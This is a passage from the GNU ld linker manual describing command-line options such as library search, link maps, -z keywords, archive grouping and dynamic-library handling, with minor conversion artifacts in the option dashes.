-i
Perform an incremental link (same as option -r).

-init=name
When creating an ELF executable or shared object, call NAME when the executable or shared object is loaded, by setting DT_INIT to the address of the function. By default, the linker uses _init as the function to call.

-l namespec

–library=namespec

Add the archive or object file specified by namespec to the list of files to link. This option may be used any number of times. If namespec is of the form :filename, ld will search the library path for a file called filename, otherwise it will search the library path for a file called libnamespec.a. On systems which support shared libraries, ld may also search for files other than libnamespec.a. Specifically, on ELF and SunOS systems, ld will search a directory for a library called libnamespec.so before searching for one called libnamespec.a. (By convention, a .so extension indicates a shared library.) Note that this behavior does not apply to :filename, which always specifies a file called filename. The linker will search an archive only once, at the location where it is specified on the command line. If the archive defines a symbol which was undefined in some object which appeared before the archive on the command line, the linker will include the appropriate file(s) from the archive. However, an undefined symbol in an object appearing later on the command line will not cause the linker to search the archive again. See the -( option for a way to force the linker to search archives multiple times. You may list the same archive multiple times on the command line. This type of archive searching is standard for Unix linkers. However, if you are using ld on AIX, note that it is different from the behaviour of the AIX linker.

-L searchdir

–library-path=searchdir

Add path searchdir to the list of paths that ld will search for archive libraries and ld control scripts. You may use this option any number of times. The directories are searched in the order in which they are specified on the command line. Directories specified on the command line are searched before the default directories. All -L options apply to all -l options, regardless of the order in which the options appear. -L options do not affect how ld searches for a linker script unless -T option is specified. If searchdir begins with = or $SYSROOT, then this prefix will be replaced by the sysroot prefix, controlled by the –sysroot option, or specified when the linker is configured. The default set of paths searched (without being specified with -L) depends on which emulation mode ld is using, and in some cases also on how it was configured. The paths can also be specified in a link script with the SEARCH_DIR command. Directories specified this way are searched at the point in which the linker script appears in the command line.

-m emulation
Emulate the emulation linker. You can list the available emulations with the –verbose or -V options. If the -m option is not used, the emulation is taken from the LDEMULATION environment variable, if that is defined. Otherwise, the default emulation depends upon how the linker was configured.

–remap-inputs=pattern=filename

–remap-inputs-file=file

These options allow the names of input files to be changed before the linker attempts to open them. The option –remap-inputs=foo.o=bar.o will cause any attempt to load a file called foo.o to instead try to load a file called bar.o. Wildcard patterns are permitted in the first filename, so –remap-inputs=foo*.o=bar.o will rename any input file that matches foo*.o to bar.o. An alternative form of the option –remap-inputs-file=filename allows the remappings to be read from a file. Each line in the file can contain a single remapping. Blank lines are ignored. Anything from a hash character (#) to the end of a line is considered to be a comment and is also ignored. The mapping pattern can be separated from the filename by whitespace or an equals (=) character. The options can be specified multiple times. Their contents accumulate. The remappings will be processed in the order in which they occur on the command line, and if they come from a file, in the order in which they occur in the file. If a match is made, no further checking for that filename will be performed. If the replacement filename is /dev/null or just NUL then the remapping will actually cause the input file to be ignored. This can be a convenient way to experiment with removing input files from a complicated build environment. Note that this option is position dependent and only affects filenames that come after it on the command line. Thus: ld foo.o –remap-inputs=foo.o=bar.o Will have no effect, whereas: ld –remap-inputs=foo.o=bar.o foo.o Will rename the input file foo.o to bar.o. Note - these options also affect files referenced by INPUT statements in linker scripts. But since linker scripts are processed after the entire command line is read, the position of the remap options on the command line is not significant. If the verbose option is enabled then any mappings that match will be reported, although again the verbose option needs to be enabled on the command line before the remaped filenames appear. If the -Map or –print-map options are enabled then the remapping list will be included in the map output.

-M

–print-map

Print a link map to the standard output. A link map provides information about the link, including the following:

  • Where object files are mapped into memory.

  • How common symbols are allocated.

  • All archive members included in the link, with a mention of the symbol which caused the archive member to be brought in.

  • The values assigned to symbols. Note - symbols whose values are computed by an expression which involves a reference to a previous value of the same symbol may not have correct result displayed in the link map. This is because the linker discards intermediate results and only retains the final value of an expression. Under such circumstances the linker will display the final value enclosed by square brackets. Thus for example a linker script containing: foo = 1 foo = foo * 4 foo = foo + 8 will produce the following output in the link map if the -M option is used: 0x00000001 foo = 0x1 [0x0000000c] foo = (foo * 0x4) [0x0000000c] foo = (foo + 0x8) See Expressions for more information about expressions in linker scripts.

  • How GNU properties are merged. When the linker merges input .note.gnu.property sections into one output .note.gnu.property section, some properties are removed or updated. These actions are reported in the link map. For example: Removed property 0xc0000002 to merge foo.o (0x1) and bar.o (not found) This indicates that property 0xc0000002 is removed from output when merging properties in foo.o, whose property 0xc0000002 value is 0x1, and bar.o, which doesn’t have property 0xc0000002. Updated property 0xc0010001 (0x1) to merge foo.o (0x1) and bar.o (0x1) This indicates that property 0xc0010001 value is updated to 0x1 in output when merging properties in foo.o, whose 0xc0010001 property value is 0x1, and bar.o, whose 0xc0010001 property value is 0x1.

  • On some ELF targets, a list of fixups inserted by –relax foo.o: Adjusting branch at 0x00000008 towards “far” in section .text This indicates that the branch at 0x00000008 in foo.o, targeting the symbol “far” in section .text, has been replaced by a trampoline.

–print-map-discarded

–no-print-map-discarded

Print (or do not print) the list of discarded and garbage collected sections in the link map. Enabled by default.

–print-map-locals

–no-print-map-locals

Print (or do not print) local symbols in the link map. Local symbols will have the text (local) printed before their name, and will be listed after all of the global symbols in a given section. Temporary local symbols (typically those that start with .L) will not be included in the output. Disabled by default.

-n

–nmagic

Turn off page alignment of sections, and disable linking against shared libraries. If the output format supports Unix style magic numbers, mark the output as NMAGIC.

-N

–omagic

Set the text and data sections to be readable and writable. Also, do not page-align the data segment, and disable linking against shared libraries. If the output format supports Unix style magic numbers, mark the output as OMAGIC. Note: Although a writable text section is allowed for PE-COFF targets, it does not conform to the format specification published by Microsoft.

–no-omagic
This option negates most of the effects of the -N option. It sets the text section to be read-only, and forces the data segment to be page-aligned. Note - this option does not enable linking against shared libraries. Use -Bdynamic for this.

-o output

–output=output

Use output as the name for the program produced by ld; if this option is not specified, the name a.out is used by default. The script command OUTPUT can also specify the output file name. Note - the linker will delete the output file before it starts to write to it. It will do this even if it turns out that the link cannot be completed due to errors. Note - the linker will check to make sure that the output file name does not match the name of any of the input files, but that is all. In particular it will not complain if the output file might overwrite a source file or some other important file. Therefore in build systems it is recommended to use the -o option as the last option on the linker command line. For example consider: ld -o $(EXE) $(OBJS) ld $(OBJS) -o $(EXE) If the EXE variable is not defined for some reason, the first version of the linker command could end up deleting one of the object files (the first one in the OBJS list) whereas the second version of the linker command will generate an error message and not delete anything.

–dependency-file=depfile
Write a dependency file to depfile. This file contains a rule suitable for make describing the output file and all the input files that were read to produce it. The output is similar to the compiler’s output with -M -MP. Note that there is no option like the compiler’s -MM, to exclude “system files” (which is not a well-specified concept in the linker, unlike “system headers” in the compiler). So the output from –dependency-file is always specific to the exact state of the installation where it was produced, and should not be copied into distributed makefiles without careful editing.

-O level
If level is a numeric values greater than zero ld optimizes the output. This might take significantly longer and therefore probably should only be enabled for the final binary. At the moment this option only affects ELF shared library generation. Future releases of the linker may make more use of this option. Also currently there is no difference in the linker’s behaviour for different non-zero values of this option. Again this may change with future releases.

-plugin name
Involve a plugin in the linking process. The name parameter is the absolute filename of the plugin. Usually this parameter is automatically added by the compiler, when using link time optimization, but users can also add their own plugins if they so wish. Note that the location of the compiler originated plugins is different from the place where the ar, nm and ranlib programs search for their plugins. In order for those commands to make use of a compiler based plugin it must first be copied into the ${libdir}/bfd-plugins directory. All gcc based linker plugins are backward compatible, so it is sufficient to just copy in the newest one.

–push-state
The –push-state allows one to preserve the current state of the flags which govern the input file handling so that they can all be restored with one corresponding –pop-state option. The option which are covered are: -Bdynamic, -Bstatic, -dn, -dy, -call_shared, -non_shared, -static, -N, -n, –whole-archive, –no-whole-archive, -r, -Ur, –copy-dt-needed-entries, –no-copy-dt-needed-entries, –as-needed, –no-as-needed, and -a. One target for this option are specifications for pkg-config. When used with the –libs option all possibly needed libraries are listed and then possibly linked with all the time. It is better to return something as follows: -Wl,–push-state,–as-needed -libone -libtwo -Wl,–pop-state

–pop-state
Undoes the effect of –push-state, restores the previous values of the flags governing input file handling.

-q

–emit-relocs

Leave relocation sections and contents in fully linked executables. Post link analysis and optimization tools may need this information in order to perform correct modifications of executables. This results in larger executables. This option is currently only supported on ELF platforms.

–force-dynamic
Force the output file to have dynamic sections. This option is specific to VxWorks targets.

-r

–relocatable

Generate relocatable output—i.e., generate an output file that can in turn serve as input to ld. This is often called partial linking. As a side effect, in environments that support standard Unix magic numbers, this option also sets the output file’s magic number to OMAGIC. If this option is not specified, an absolute file is produced. When linking C++ programs, this option will not resolve references to constructors; to do that, use -Ur. When an input file does not have the same format as the output file, partial linking is only supported if that input file does not contain any relocations. Different output formats can have further restrictions; for example some a.out-based formats do not support partial linking with input files in other formats at all. This option does the same thing as -i.

-R filename

–just-symbols=filename

Read symbol names and their addresses from filename, but do not relocate it or include it in the output. This allows your output file to refer symbolically to absolute locations of memory defined in other programs. You may use this option more than once. For compatibility with other ELF linkers, if the -R option is followed by a directory name, rather than a file name, it is treated as the -rpath option.

–rosegment

–no-rosegment

Attempt to ensure that only a single read-only, non-code segment is created. Only useful when used in conjunction with the -z separate-code option. The resulting binaries should be smaller than if -z separate-code is used on its own. Without this option, or if –no-rosegment is specified, the -z separate-code option will create two read-only segments, one before the code segment and one after it. The name of the options are misleading, but they have been chosen in order for the linker to be compatible with the LLD and GOLD linkers. Thse options are only supported by ELF targets.

-s

–strip-all

Omit all symbol information from the output file.

-S

–strip-debug

Omit debugger symbol information (but not all symbols) from the output file.

–strip-discarded

–no-strip-discarded

Omit (or do not omit) global symbols defined in discarded sections. Enabled by default.

-plugin-save-temps
Store the plugin “temporary” intermediate files permanently.

-t

–trace

Print the names of the input files as ld processes them. If -t is given twice then members within archives are also printed. -t output is useful to generate a list of all the object files and scripts involved in linking, for example, when packaging files for a linker bug report.

-T scriptfile

–script=scriptfile

Use scriptfile as the linker script. This script replaces ld’s default linker script (rather than adding to it), unless the script contains INSERT, so commandfile must specify everything necessary to describe the output file. If scriptfile does not exist in the current directory, ld looks for it in the directories specified by any preceding -L options. Command line options that appear before the -T option can affect the script, but command line options that appear after it do not. Multiple -T options will accumulate if they are augmenting the current script, otherwise the last, non-augmenting, -T option will be used. There are other ways of specifying linker scripts. See

-dT scriptfile

–default-script=scriptfile

Use scriptfile as the default linker script. This option is similar to the –script option except that processing of the script is delayed until after the rest of the command line has been processed. This allows options placed after the –default-script option on the command line to affect the behaviour of the linker script, which can be important when the linker command line cannot be directly controlled by the user. (eg because the command line is being constructed by another tool, such as gcc).

-u symbol

–undefined=symbol

Force symbol to be entered in the output file as an undefined symbol. Doing this may, for example, trigger linking of additional modules from standard libraries. -u may be repeated with different option arguments to enter additional undefined symbols. This option is equivalent to the EXTERN linker script command. If this option is being used to force additional modules to be pulled into the link, and if it is an error for the symbol to remain undefined, then the option –require-defined should be used instead.

–require-defined=symbol
Require that symbol is defined in the output file. This option is the same as option –undefined except that if symbol is not defined in the output file then the linker will issue an error and exit. The same effect can be achieved in a linker script by using EXTERN, ASSERT and DEFINED together. This option can be used multiple times to require additional symbols.

-Ur
For programs that do not use constructors or destructors, or for ELF based systems this option is equivalent to -r: it generates relocatable output—i.e., an output file that can in turn serve as input to ld. For other binaries however the -Ur option is similar to -r but it also resolves references to constructors and destructors. For those systems where -r and -Ur behave differently, it does not work to use -Ur on files that were themselves linked with -Ur; once the constructor table has been built, it cannot be added to. Use -Ur only for the last partial link, and -r for the others.

–orphan-handling=MODE
Control how orphan sections are handled. An orphan section is one not specifically mentioned in a linker script. MODE can have any of the following values:

“place”
Orphan sections are placed into a suitable output section following the strategy described in Orphan Sections. The option –unique also affects how sections are placed.

“discard”
All orphan sections are discarded, by placing them in the /DISCARD/ section.

“warn”
The linker will place the orphan section as for place and also issue a warning.

“error”
The linker will exit with an error if any orphan section is found.

The default if –orphan-handling is not given is place.

–unique[=SECTION]
Creates a separate output section for every input section matching SECTION, or if the optional wildcard SECTION argument is missing, for every orphan input section. An orphan section is one not specifically mentioned in a linker script. You may use this option multiple times on the command line; It prevents the normal merging of input sections with the same name, overriding output section assignments in a linker script.

-v

–version

-V

Display the version number for ld. The -V option also lists the supported emulations. See also the description of the –enable-linker-version in Options,,Command-line Options which can be used to insert the linker version string into a binary.

-x

–discard-all

Delete all local symbols.

-X

–discard-locals

Delete all temporary local symbols. (These symbols start with system-specific local label prefixes, typically .L for ELF systems or L for traditional a.out systems.)

-y symbol

–trace-symbol=symbol

Print the name of each linked file in which symbol appears. This option may be given any number of times. On many systems it is necessary to prepend an underscore. This option is useful when you have an undefined symbol in your link but don’t know where the reference is coming from.

-Y path
Add path to the default library search path. This option exists for Solaris compatibility.

-z keyword
The recognized keywords are:

call-nop=prefix-addr

call-nop=suffix-nop

call-nop=prefix-byte

call-nop=suffix-byte

Specify the 1-byte NOP padding when transforming indirect call to a locally defined function, foo, via its GOT slot. call-nop=prefix-addr generates 0x67 call foo. call-nop=suffix-nop generates call foo 0x90. **call-nop=prefix-**byte generates byte call foo. **call-nop=suffix-byte generates call foo byte. Supported for i386 and x86_64.

cet-report=none

cet-report=warning

cet-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_IBT and GNU_PROPERTY_X86_FEATURE_1_SHSTK properties in input .note.gnu.property section. cet-report=none, which is the default, will make the linker not report missing properties in input files. cet-report=warning will make the linker issue a warning for missing properties in input files. cet-report=error will make the linker issue an error for missing properties in input files. Note that ibt will turn off the missing GNU_PROPERTY_X86_FEATURE_1_IBT property report and shstk will turn off the missing GNU_PROPERTY_X86_FEATURE_1_SHSTK property report. Supported for Linux/i386 and Linux/x86_64.

combreloc

nocombreloc

Combine multiple dynamic relocation sections and sort to improve dynamic symbol lookup caching. Do not do this if nocombreloc.

common

nocommon

Generate common symbols with STT_COMMON type during a relocatable link. Use STT_OBJECT type if nocommon.

common-page-size=value
Set the page size most commonly used to value. Memory image layout will be optimized to minimize memory pages if the system is using pages of this size.

defs
Report unresolved symbol references from regular object files. This is done even if the linker is creating a non-symbolic shared library. This option is the inverse of -z undefs.

dynamic-undefined-weak

nodynamic-undefined-weak

Make undefined weak symbols dynamic when building a dynamic object, if they are referenced from a regular object file and not forced local by symbol visibility or versioning. Do not make them dynamic if nodynamic-undefined-weak. If neither option is given, a target may default to either option being in force, or make some other selection of undefined weak symbols dynamic. Not all targets support these options.

execstack
Marks the object as requiring executable stack.

global
This option is only meaningful when building a shared object. It makes the symbols defined by this shared object available for symbol resolution of subsequently loaded libraries.

globalaudit
This option is only meaningful when building a dynamic executable. This option marks the executable as requiring global auditing by setting the DF_1_GLOBAUDIT bit in the DT_FLAGS_1 dynamic tag. Global auditing requires that any auditing library defined via the –depaudit or -P command-line options be run for all dynamic objects loaded by the application.

ibtplt
Generate Intel Indirect Branch Tracking (IBT) enabled PLT entries. Supported for Linux/i386 and Linux/x86_64.

ibt
Generate GNU_PROPERTY_X86_FEATURE_1_IBT in .note.gnu.property section to indicate compatibility with IBT. This also implies ibtplt. Supported for Linux/i386 and Linux/x86_64.

indirect-extern-access

noindirect-extern-access

Generate GNU_PROPERTY_1_NEEDED_INDIRECT_EXTERN_ACCESS in .note.gnu.property section to indicate that object file requires canonical function pointers and cannot be used with copy relocation. This option also implies noextern-protected-data and nocopyreloc. Supported for i386 and x86-64. noindirect-extern-access removes GNU_PROPERTY_1_NEEDED_INDIRECT_EXTERN_ACCESS from .note.gnu.property section.

initfirst
This option is only meaningful when building a shared object. It marks the object so that its runtime initialization will occur before the runtime initialization of any other objects brought into the process at the same time. Similarly the runtime finalization of the object will occur after the runtime finalization of any other objects.

interpose
Specify that the dynamic loader should modify its symbol search order so that symbols in this shared library interpose all other shared libraries not so marked.

unique

nounique

When generating a shared library or other dynamically loadable ELF object mark it as one that should (by default) only ever be loaded once, and only in the main namespace (when using dlmopen). This is primarily used to mark fundamental libraries such as libc, libpthread et al which do not usually function correctly unless they are the sole instances of themselves. This behaviour can be overridden by the dlmopen caller and does not apply to certain loading mechanisms (such as audit libraries).

lam-u48
Generate GNU_PROPERTY_X86_FEATURE_1_LAM_U48 in .note.gnu.property section to indicate compatibility with Intel LAM_U48. Supported for Linux/x86_64.

lam-u57
Generate GNU_PROPERTY_X86_FEATURE_1_LAM_U57 in .note.gnu.property section to indicate compatibility with Intel LAM_U57. Supported for Linux/x86_64.

lam-u48-report=none

lam-u48-report=warning

lam-u48-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U48 property in input .note.gnu.property section. lam-u48-report=none, which is the default, will make the linker not report missing properties in input files. lam-u48-report=warning will make the linker issue a warning for missing properties in input files. lam-u48-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lam-u57-report=none

lam-u57-report=warning

lam-u57-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U57 property in input .note.gnu.property section. lam-u57-report=none, which is the default, will make the linker not report missing properties in input files. lam-u57-report=warning will make the linker issue a warning for missing properties in input files. lam-u57-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lam-report=none

lam-report=warning

lam-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U48 and GNU_PROPERTY_X86_FEATURE_1_LAM_U57 properties in input .note.gnu.property section. lam-report=none, which is the default, will make the linker not report missing properties in input files. lam-report=warning will make the linker issue a warning for missing properties in input files. lam-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lazy
When generating an executable or shared library, mark it to tell the dynamic linker to defer function call resolution to the point when the function is called (lazy binding), rather than at load time. Lazy binding is the default.

loadfltr
Specify that the object’s filters be processed immediately at runtime.

max-page-size=value
Set the maximum memory page size supported to value.

mark-plt

nomark-plt

Mark PLT entries with dynamic tags, DT_X86_64_PLT, DT_X86_64_PLTSZ and DT_X86_64_PLTENT. Since this option stores a non-zero value in the r_addend field of R_X86_64_JUMP_SLOT relocations, the resulting executables and shared libraries are incompatible with dynamic linkers, such as those in older versions of glibc without the change to ignore r_addend in R_X86_64_GLOB_DAT and R_X86_64_JUMP_SLOT relocations, which don’t ignore the r_addend field of R_X86_64_JUMP_SLOT relocations. Supported for x86_64.

muldefs
Allow multiple definitions.

nocopyreloc
Disable linker generated .dynbss variables used in place of variables defined in shared libraries. May result in dynamic text relocations.

nodefaultlib
Specify that the dynamic loader search for dependencies of this object should ignore any default library search paths.

nodelete
Specify that the object shouldn’t be unloaded at runtime.

nodlopen
Specify that the object is not available to dlopen.

nodump
Specify that the object can not be dumped by dldump.

noexecstack
Marks the object as not requiring executable stack.

noextern-protected-data
Don’t treat protected data symbols as external when building a shared library. This option overrides the linker backend default. It can be used to work around incorrect relocations against protected data symbols generated by compiler. Updates on protected data symbols by another module aren’t visible to the resulting shared library. Supported for i386 and x86-64.

noreloc-overflow
Disable relocation overflow check. This can be used to disable relocation overflow check if there will be no dynamic relocation overflow at run-time. Supported for x86_64.

now
When generating an executable or shared library, mark it to tell the dynamic linker to resolve all symbols when the program is started, or when the shared library is loaded by dlopen, instead of deferring function call resolution to the point when the function is first called.

origin
Specify that the object requires $ORIGIN handling in paths.

pack-relative-relocs

nopack-relative-relocs

Generate compact relative relocation in position-independent executable and shared library. It adds DT_RELR, DT_RELRSZ and DT_RELRENT entries to the dynamic section. It is ignored when building position-dependent executable and relocatable output. nopack-relative-relocs is the default, which disables compact relative relocation. When linked against the GNU C Library, a GLIBC_ABI_DT_RELR symbol version dependency on the shared C Library is added to the output. Supported for i386 and x86-64.

relro

norelro

Create an ELF PT_GNU_RELRO segment header in the object. This specifies a memory segment that should be made read-only after relocation, if supported. Specifying common-page-size smaller than the system page size will render this protection ineffective. Don’t create an ELF PT_GNU_RELRO segment if norelro.

report-relative-reloc
Report dynamic relative relocations generated by linker. Supported for Linux/i386 and Linux/x86_64.

sectionheader

nosectionheader

Generate section header. Don’t generate section header if nosectionheader is used. sectionheader is the default.

separate-code

noseparate-code

Create separate code PT_LOAD segment header in the object. This specifies a memory segment that should contain only instructions and must be in wholly disjoint pages from any other data. Don’t create separate code PT_LOAD segment if noseparate-code is used.

shstk
Generate GNU_PROPERTY_X86_FEATURE_1_SHSTK in .note.gnu.property section to indicate compatibility with Intel Shadow Stack. Supported for Linux/i386 and Linux/x86_64.

stack-size=value
Specify a stack size for an ELF PT_GNU_STACK segment. Specifying zero will override any default non-zero sized PT_GNU_STACK segment creation.

start-stop-gc

nostart-stop-gc

When –gc-sections is in effect, a reference from a retained section to _ _start_SECNAME or _ _stop_SECNAME causes all input sections named SECNAME to also be retained, if SECNAME is representable as a C identifier and either _ _start_SECNAME or _ _stop_SECNAME is synthesized by the linker. -z start-stop-gc disables this effect, allowing sections to be garbage collected as if the special synthesized symbols were not defined. -z start-stop-gc has no effect on a definition of _ _start_SECNAME or _ _stop_SECNAME in an object file or linker script. Such a definition will prevent the linker providing a synthesized _ _start_SECNAME or _ _stop_SECNAME respectively, and therefore the special treatment by garbage collection for those references.

start-stop-visibility=value
Specify the ELF symbol visibility for synthesized _ _start_SECNAME and _ _stop_SECNAME symbols. value must be exactly default, internal, hidden, or protected. If no -z start-stop-visibility option is given, protected is used for compatibility with historical practice. However, it’s highly recommended to use -z start-stop-visibility=hidden in new programs and shared libraries so that these symbols are not exported between shared objects, which is not usually what’s intended.

text

notext

textoff

Report an error if DT_TEXTREL is set, i.e., if the position-independent or shared object has dynamic relocations in read-only sections. Don’t report an error if notext or textoff.

undefs
Do not report unresolved symbol references from regular object files, either when creating an executable, or when creating a shared library. This option is the inverse of -z defs.

unique-symbol

nounique-symbol

Avoid duplicated local symbol names in the symbol string table. Append “.number” to duplicated local symbol names if unique-symbol is used. nounique-symbol is the default.

x86-64-baseline

x86-64-v2

x86-64-v3

x86-64-v4

Specify the x86-64 ISA level needed in .note.gnu.property section. x86-64-baseline generates GNU_PROPERTY_X86_ISA_1_BASELINE. x86-64-v2 generates GNU_PROPERTY_X86_ISA_1_V2. x86-64-v3 generates GNU_PROPERTY_X86_ISA_1_V3. x86-64-v4 generates GNU_PROPERTY_X86_ISA_1_V4. Supported for Linux/i386 and Linux/x86_64.

isa-level-report=none

isa-level-report=all

isa-level-report=needed

isa-level-report=used

Specify how to report x86-64 ISA levels in input relocatable files. isa-level-report=none, which is the default, will make the linker not report x86-64 ISA levels in input files. isa-level-report=all will make the linker report needed and used x86-64 ISA levels in input files. isa-level-report=needed will make the linker report needed x86-64 ISA levels in input files. isa-level-report=used will make the linker report used x86-64 ISA levels in input files. Supported for Linux/i386 and Linux/x86_64.

Other keywords are ignored for Solaris compatibility.

-( archives -)

–start-group archives –end-group

The archives should be a list of archive files. They may be either explicit file names, or -l options. The specified archives are searched repeatedly until no new undefined references are created. Normally, an archive is searched only once in the order that it is specified on the command line. If a symbol in that archive is needed to resolve an undefined symbol referred to by an object in an archive that appears later on the command line, the linker would not be able to resolve that reference. By grouping the archives, they will all be searched repeatedly until all possible references are resolved. Using this option has a significant performance cost. It is best to use it only when there are unavoidable circular references between two or more archives.

–accept-unknown-input-arch

–no-accept-unknown-input-arch

Tells the linker to accept input files whose architecture cannot be recognised. The assumption is that the user knows what they are doing and deliberately wants to link in these unknown input files. This was the default behaviour of the linker, before release 2.14. The default behaviour from release 2.14 onwards is to reject such input files, and so the –accept-unknown-input-arch option has been added to restore the old behaviour.

–as-needed

–no-as-needed

This option affects ELF DT_NEEDED tags for dynamic libraries mentioned on the command line after the –as-needed option. Normally the linker will add a DT_NEEDED tag for each dynamic library mentioned on the command line, regardless of whether the library is actually needed or not. –as-needed causes a DT_NEEDED tag to only be emitted for a library that at that point in the link satisfies a non-weak undefined symbol reference from a regular object file or, if the library is not found in the DT_NEEDED lists of other needed libraries, a non-weak undefined symbol reference from another needed dynamic library. Object files or libraries appearing on the command line after the library in question do not affect whether the library is seen as needed. This is similar to the rules for extraction of object files from archives. –no-as-needed restores the default behaviour. Note: On Linux based systems the –as-needed option also has an affect on the behaviour of the –rpath and –rpath-link options. See the description of –rpath-link for more details.

–add-needed

–no-add-needed

These two options have been deprecated because of the similarity of their names to the –as-needed and –no-as-needed options. They have been replaced by –copy-dt-needed-entries and –no-copy-dt-needed-entries.

-assert keyword
This option is ignored for SunOS compatibility.

-Bdynamic

-dy

-call_shared

Link against dynamic libraries. This is only meaningful on platforms for which shared libraries are supported. This option is normally the default on such platforms. The different variants of this option are for compatibility with various systems. You may use this option multiple times on the command line: it affects library searching for -l options which follow it.

-Bgroup
Set the DF_1_GROUP flag in the DT_FLAGS_1 entry in the dynamic section. This causes the runtime linker to handle lookups in this object and its dependencies to be performed only inside the group. –unresolved-symbols=report-all is implied. This option is only meaningful on ELF platforms which support shared libraries.

-Bstatic

-dn

-non_shared

-static

Do not link against shared libraries. This is only meaningful on platforms for which shared libraries are supported. The different variants of this option are for compatibility with various systems. You may use this option multiple times on the command line: it affects library searching for -l options which follow it. This option also implies –unresolved-symbols=report-all. This option can be used with -shared. Doing so means that a shared library is being created but that all of the library’s external references must be resolved by pulling in entries from static libraries.

-Bsymbolic
When creating a shared library, bind references to global symbols to the definition within the shared library, if any. Normally, it is possible for a program linked against a shared library to override the definition within the shared library. This option is only meaningful on ELF platforms which support shared libraries.

-Bsymbolic-functions
When creating a shared library, bind references to global function symbols to the definition within the shared library, if any. This option is only meaningful on ELF platforms which support shared libraries.

-Bno-symbolic
This option can cancel previously specified -Bsymbolic and -Bsymbolic-functions.

–dynamic-list=dynamic-list-file
Specify the name of a dynamic list file to the linker. This is typically used when creating shared libraries to specify a list of global symbols whose references shouldn’t be bound to the definition within the shared library, or creating dynamically linked executables to specify a list of symbols which should be added to the symbol table in the executable. This option is only meaningful on ELF platforms which support shared libraries. The format of the dynamic list is the same as the version node without scope and node name. See VERSION for more information.

–dynamic-list-data
Include all global data symbols to the dynamic list.

–dynamic-list-cpp-new
Provide the builtin dynamic list for C++ operator new and delete. It is mainly useful for building shared libstdc++.

–dynamic-list-cpp-typeinfo
Provide the builtin dynamic list for C++ runtime type identification.

–check-sections

–no-check-sections

Asks the linker not to check section addresses after they have been assigned to see if there are any overlaps. Normally the linker will perform this check, and if it finds any overlaps it will produce suitable error messages. The linker does know about, and does make allowances for sections in overlays. The default behaviour can be restored by using the command-line switch –check-sections. Section overlap is not usually checked for relocatable links. You can force checking in that case by using the –check-sections option.

–copy-dt-needed-entries

–no-copy-dt-needed-entries

This option affects the treatment of dynamic libraries referred to by DT_NEEDED tags inside ELF dynamic libraries mentioned on the command line. Normally the linker won’t add a DT_NEEDED tag to the output binary for each library mentioned in a DT_NEEDED tag in an input dynamic library. With –copy-dt-needed-entries specified on the command line however any dynamic libraries that follow it will have their DT_NEEDED entries added. The default behaviour can be restored with –no-copy-dt-needed-entries. This option also has an effect on the resolution of symbols in dynamic libraries. With –copy-dt-needed-entries dynamic libraries mentioned on the command line will be recursively searched, following their DT_NEEDED tags to other libraries, in order to resolve symbols required by the output binary. With the default setting however the searching of dynamic libraries that follow it will stop with the dynamic library itself. No DT_NEEDED links will be traversed to resolve symbols.

–cref
Output a cross reference table. If a linker map file is being generated, the cross reference table is printed to the map file. Otherwise, it is printed on the standard output. The format of the table is intentionally simple, so that it may be easily processed by a script if necessary. The symbols are printed out, sorted by name. For each symbol, a list of file names is given. If the symbol is defined, the first file listed is the location of the definition. If the symbol is defined as a common value then any files where this happens appear next. Finally any files that reference the symbol are listed.

–ctf-variables

–no-ctf-variables

The CTF debuginfo format supports a section which encodes the names and types of variables found in the program which do not appear in any symbol table. These variables clearly cannot be looked up by address by conventional debuggers, so the space used for their types and names is usually wasted: the types are usually small but the names are often not. –ctf-variables causes the generation of such a section. The default behaviour can be restored with –no-ctf-variables.

–ctf-share-types=method
Adjust the method used to share types between translation units in CTF.

share-unconflicted
Put all types that do not have ambiguous definitions into the shared dictionary, where debuggers can easily access them, even if they only occur in one translation unit. This is the default.

share-duplicated
Put only types that occur in multiple translation units into the shared dictionary: types with only one definition go into per-translation-unit dictionaries. Types with ambiguous definitions in multiple translation units always go into per-translation-unit dictionaries. This tends to make the CTF larger, but may reduce the amount of CTF in the shared dictionary. For very large projects this may speed up opening the CTF and save memory in the CTF consumer at runtime.

–no-define-common
This option inhibits the assignment of addresses to common symbols. The script command INHIBIT_COMMON_ALLOCATION has the same effect. The –no-define-common option allows decoupling the decision to assign addresses to Common symbols from the choice of the output file type; otherwise a non-Relocatable output type forces assigning addresses to Common symbols. Using –no-define-common allows Common symbols that are referenced from a shared library to be assigned addresses only in the main program. This eliminates the unused duplicate space in the shared library, and also prevents any possible confusion over resolving to the wrong duplicate when there are many dynamic modules with specialized search paths for runtime symbol resolution.

–force-group-allocation
This option causes the linker to place section group members like normal input sections, and to delete the section groups. This is the default behaviour for a final link but this option can be used to change the behaviour of a relocatable link (-r). The script command FORCE_GROUP_ALLOCATION has the same effect.

–defsym=symbol=expression
Create a global symbol in the output file, containing the absolute address given by expression. You may use this option as many times as necessary to define multiple symbols in the command line. A limited form of arithmetic is supported for the expression in this context: you may give a hexadecimal constant or the name of an existing symbol, or use + and - to add or subtract hexadecimal constants or symbols. If you need more elaborate expressions, consider using the linker command language from a script. Note: there should be no white space between symbol, the equals sign ("="), and expression. The linker processes –defsym arguments and -T arguments in order, placing –defsym before -T will define the symbol before the linker script from -T is processed, while placing –defsym after -T will define the symbol after the linker script has been processed. This difference has consequences for expressions within the linker script that use the –defsym symbols, which order is correct will depend on what you are trying to achieve.

–demangle[=style]

–no-demangle

These options control whether to demangle symbol names in error messages and other output. When the linker is told to demangle, it tries to present symbol names in a readable fashion: it strips leading underscores if they are used by the object file format, and converts C++ mangled symbol names into user readable names. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler. The linker will demangle by default unless the environment variable COLLECT_NO_DEMANGLE is set. These options may be used to override the default.

-Ifile

–dynamic-linker=file

Set the name of the dynamic linker. This is only meaningful when generating dynamically linked ELF executables. The default dynamic linker is normally correct; don’t use this unless you know what you are doing.

–no-dynamic-linker
When producing an executable file, omit the request for a dynamic linker to be used at load-time. This is only meaningful for ELF executables that contain dynamic relocations, and usually requires entry point code that is capable of processing these relocations.

–embedded-relocs
